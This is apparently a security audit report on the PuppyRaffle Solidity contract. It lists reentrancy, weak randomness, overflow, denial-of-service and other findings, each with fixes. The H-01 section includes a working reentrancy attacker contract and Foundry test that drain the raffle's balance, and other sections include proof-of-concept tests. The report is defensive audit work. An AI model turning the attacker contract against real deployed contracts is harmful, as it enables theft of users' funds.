PuppyRaffle Audit Report

Version 1.0

Manish Roy

December 22, 2023

Lead Security Researcher: `Manish Roy`

Index

    * [I-04] `PuppyRaffle::selectWinner` function does not follow CEI, which is not a best practice.
    * [I-05] Use of "magic" numbers is discouraged
    * [I-06] Insufficient test Coverage
    * [I-07] `PuppyRaffle::_isActivePlayer` function is never used and should be removed
  - Gas Related
    * [G-01] Unchanged state variables should be declared constant or immutable.
    * [G-02] Storage variables used in a loop, should be cached

Disclaimer

I, the security researcher, have made all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Protocol Summary

PuppyRafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

The `CodeHawks severity matrix` has been leveraged to determine severity of the bugs. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

22bbbb2c47f3f2b78c1b134590baf41383fd354f

in the following repository:

https://github.com/Cyfrin/2023-10-PuppyRaffle

Scope

```
src/
|--- PuppyRaffle.sol
```

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Issues found

Severity	No. of Issues
High	3
Medium	4
Low	1
Informational	7
Gas	2
Total	**17**

Findings

High Severity

[H-01] Reentrancy in `PuppyRaffle::refund` function, allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract's balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

Code

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   ~>      payable(msg.sender).sendValue(entranceFee);
7   ~>      players[playerIndex] = address(0);
8
9           emit RaffleRefunded(playerAddress);
10      }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Code

Paste this test fucntion into the `PuppyRaffleTest.t.sol` file.

```
1       function test_refundReentrancy() public playersEntered {
```

```
        ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        // provide balance to user
        vm.deal(attackUser, 1 ether);

        uint256 startingBalance_Attacker = address(reentrancyAttacker).
            balance;
        uint256 startingBalance_Victim = address(puppyRaffle).balance;

        console.log("Attacker balance before: ",
            startingBalance_Attacker);
        console.log("Victim balance before: ", startingBalance_Victim);

        vm.prank(attackUser);
        reentrancyAttacker.attack{value: entranceFee}();

        console.log("Attacker balance after: ", address(
            reentrancyAttacker).balance);
        console.log("Victim balance after: ", address(puppyRaffle).
            balance);
    }
```

And this attacker contract as well.

```
    contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = _puppyRaffle.entranceFee();
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex = puppyRaffle.getActivePlayerIndex(address(
                this));
            puppyRaffle.refund(attackerIndex);
        }

        receive() external payable {
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }
    }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-02] Weak Randomness in `PuppyRaffle::selectWinner` function allows users to influence or predict the winner as well as the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp` and `block.prevrandao`/`block.difficulty` together a predictable final number. The predictable number is not a good random number and this enables malicious users to manipulate these predicted values or know them ahead of time to choose the winner of the raffle themselves.

Note: This means users can frontrun this function and call `PuppyRaffle::refund` function, if they foresee they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the **rarest** puppy; rendering the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept: 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See this solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao. 2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner. 3. Users can revert their `selectWinner` transaction if they don't like the winner or the resulting puppy.

Using on-chain values as a random seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-03] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max  // => 18446744073709551615
    myVar = myVar + 1  // => 0
```

Impact: In `PuppyRaffle::selectWinner` function, `totalFees` are accumulated for the `feeAddress` to collect later using `PuppyRaffle::withdrawFees` function. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. Conclude the raffle with 4 players. 2. Enter 89 players into a new raffle and conclude the raffle. 3. `totalFees` will be: `ts totalFees = totalFees + uint64(fee) ; //=> 800000000000000000 + 17800000000000000000 = 153255926290448384` 5. The following line in `PuppyRaffle::withdrawFees` function, will restrict any withdrawal: `ts require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");`

```
Although, `selfdestruct` could be used to send ETH to this contract, in order to match the values and withdraw fees, however, this is clearly not the intended design of the protocol. At some point, there will be too much balance in the contract that the above `require` statement will be impossible to pass.
```

Code

Paste this test function into the `PuppyRaffleTest.t.sol` file.

```
    function testTotalFeesOverflow() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
```

```
16
17          puppyRaffle.selectWinner();
18
19          uint256 endingTotalFees = puppyRaffle.totalFees();
20          console.log("ending total fees", endingTotalFees);
21          assert(endingTotalFees < startingTotalFees);
22
23          vm.prank(puppyRaffle.feeAddress());
24          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
25          puppyRaffle.withdrawFees();
26      }
```

Recommended Mitigation: Here a few possible mitgations: 1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `totalFees`. 2. OpenZeppelin's `Safemath` library for solidity version *0.7.6*, however `uint64` can still give a hard time with large number of fees collected. 3. The `require` statement can use a *greater than equal to* >= check, if that suits the protocol's needs.

Medium Severity

[M-01] Looping through the players array for duplication checks in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `PuppyRaffle::players` array to check for duplicates. However, the longer the array is, the more checks a new player will have to make. This means the gas costs for the players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the array, is an additional check the loop will have to make.

Impact: The gas costs for raggle entrants will greatly increase as more players enter the raffle, discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so large, that no one else enters, guaranteeing themselves to win.

Proof of Concept: If we have 2 sets of 100 players each, the gas costs for calling `PuppyRaffle::enterRaffle` function will be as such:

gasUsed for first set of 100 players: ~6252039 gas

gasUsed for second set of 100 players: ~18086576 gas

This is around 3x expensive for the second set.

Code

Place this test function in the `PuppyRaffle.t.sol` file.

```
    function test_denialOfService_enterRaffle() public {
        vm.txGasPrice(1);

        uint256 playersNo = 100;
        address[] memory players = new address[](playersNo);

        for (uint256 i = 0; i < playersNo; i++) {
            players[i] = address(uint160(i));
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNo}(players
            );
        uint256 gasMid = gasleft();

        uint256 gasUsedFirst = (gasStart - gasMid) * tx.gasprice;
        console.log("gasUsed for first set of 100 players: ",
            gasUsedFirst);

        address[] memory secondSetPlayers = new address[](playersNo);

        for (uint256 i = 0; i < playersNo; i++) {
            secondSetPlayers[i] = address(uint160(101+i));
        }

        puppyRaffle.enterRaffle{value: entranceFee * playersNo}(
            secondSetPlayers);
        uint256 gasEnd = gasleft();

        uint256 gasUsedLast = (gasMid - gasEnd) * tx.gasprice;
        console.log("gasUsed for second set of 100 players: ",
            gasUsedLast);

        assert(gasUsedFirst < gasUsedLast);
     }
```

Recommended Mitigation: There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in

constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
         }

-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-            }
-        }
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+        }
         emit RaffleEnter(newPlayers);
     }
     .
     .
     .
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-02] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could

`selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

Code

```
    function withdrawFees() external {
~>      require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-03] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

Code

```
    function selectWinner() external {
```

```
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   ~>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1       uint256 max = type(uint64).max
2       uint256 fee = max + 1
3       uint64(fee) // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1   -   uint64 public totalFees = 0;
2   +   uint256 public totalFees = 0;
3   .
4   .
5   .
6       function selectWinner() external {
7           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
8           require(players.length >= 4, "PuppyRaffle: Need at least 4
                players");
9           uint256 winnerIndex =
```

```
10              uint256(keccak256(abi.encodePacked(msg.sender, block.
                    timestamp, block.difficulty))) % players.length;
11          address winner = players[winnerIndex];
12          uint256 totalAmountCollected = players.length * entranceFee;
13          uint256 prizePool = (totalAmountCollected * 80) / 100;
14          uint256 fee = (totalAmountCollected * 20) / 100;
15  -       totalFees = totalFees + uint64(fee);
16  +       totalFees = totalFees + fee;
```

[M-04] Smart contract wallet raffle winners without a `receive` or a `fallback` function may block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart. On the other hand, the winner can do this deliberately aiming for the type of puppy they desire.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicated check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could get their winnings.

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends. 3. The `selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigations: There a few options to mitigate this issue: 1. Do not allow smart contact wallet entrants (not preferred) 2. Create a mapping of `address => payoutAmount` so that winners can pull their funds out themselves with a function like `claimPrize`, putting the responsibility on the winner to claim the prize. (Pull over Push pattern/strategy)

Low Severity

[L-01] `PuppyRaffle::getActivePlayerIndex` function returns `0` for non-existent players as well as for players at index 0, causing a player at index 0 to incorrectly think they are not active.

Description: If a player is at index 0 of `PuppyRaffle::players` array, the function will return `0`, but according to the natspec, it will also return `0` if the player is not in the array.

Code

```
1     /// @return the index of the player in the array, if they are not
          active, it returns 0
2     function getActivePlayerIndex(address player) external view returns
          (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
9     }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and will attempt to reenter the raffle, wasting storage and gas as well as affecting aspects of the contract where the array is being used.

Proof of Concept: 1. User enters the raffle. 2. `PuppyRaffle::getActivePlayerIndex` returns `0` 3. User thinks they have not active due to the function documentation

Recommended Mitigation: The easiest mitigation would be revert if the player is not in the array, instead of returning `0`. You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns `-1` if the player is not active.

Informational

[I-01] Solidity pragma should be specific, not broad

Consider using a specific version of Solidity in the contracts instead of a floating version. For example, instead of `pragma solidity ^0.8.0;`, user `pragma solidity 0.8.0`.

[I-02] Usage of an outdated Solidity version is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. Deploy with any of the following Solidity versions:

`0.8.18`

Please see slither docs for more.

[I-03] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

[I-04] `PuppyRaffle::selectWinner` function does not follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-   (bool success,) = winner.call{value: prizePool}("");
-   require(success, "PuppyRaffle: Failed to send prize pool to winner"
    );
    _safeMint(winner, tokenId);
+   (bool success,) = winner.call{value: prizePool}("");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner"
    );
```

[I-05] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are assigned to a variable.

```
+   uint256 public constant PRIZE_POOL_PRECISION = 100;
+   uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+   uint256 public constant FEE_PERCENTAGE = 20;
    .
    .
```

```
6       .
7       function selectWinner() external {
8           .
9           .
10          .
11  -       uint256 prizePool = (totalAmountCollected * 80) / 100;
12  +       uint256 prizePool = (totalAmountCollected *
        PRIZE_POOL_PERCENTAGE) / PRIZE_POOL_PRECISION;
13  -       uint256 fee = (totalAmountCollected * 20) / 100;
14  +       uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
        PRIZE_POOL_PRECISION;
15          .
16          .
17          .
18      }
```

[I-06] Insufficient test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
1  | File                                | % Lines        | % Statements
       | % Branches     | % Funcs       |
2  | ----------------------------------- | -------------- | --------------
       | -------------- | ------------- |
3  | script/DeployPuppyRaffle.sol        | 0.00% (0/3)    | 0.00% (0/4)
       | 100.00% (0/0)  | 0.00% (0/1)   |
4  | src/PuppyRaffle.sol                 | 82.46% (47/57) | 83.75% (67/80)
       | 66.67% (20/30) | 77.78% (7/9)  |
5  | test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7)  | 100.00% (8/8)
       | 50.00% (1/2)   | 100.00% (2/2) |
6  | Total                               | 80.60% (54/67) | 81.52% (75/92)
       | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-07] `PuppyRaffle::_isActivePlayer` function is never used and should be removed

The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

Gas Related

[G-01] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a contant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-02] Storage variables used in a loop, should be cached

Everytime `players.length` is called, it is being read from storage instead of memory (which is relatively more gas efficient).

```
+   uint256 playersLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playersLength - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
+       for (uint256 j = i + 1; j < playersLength; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
               player");
        }
    }
```
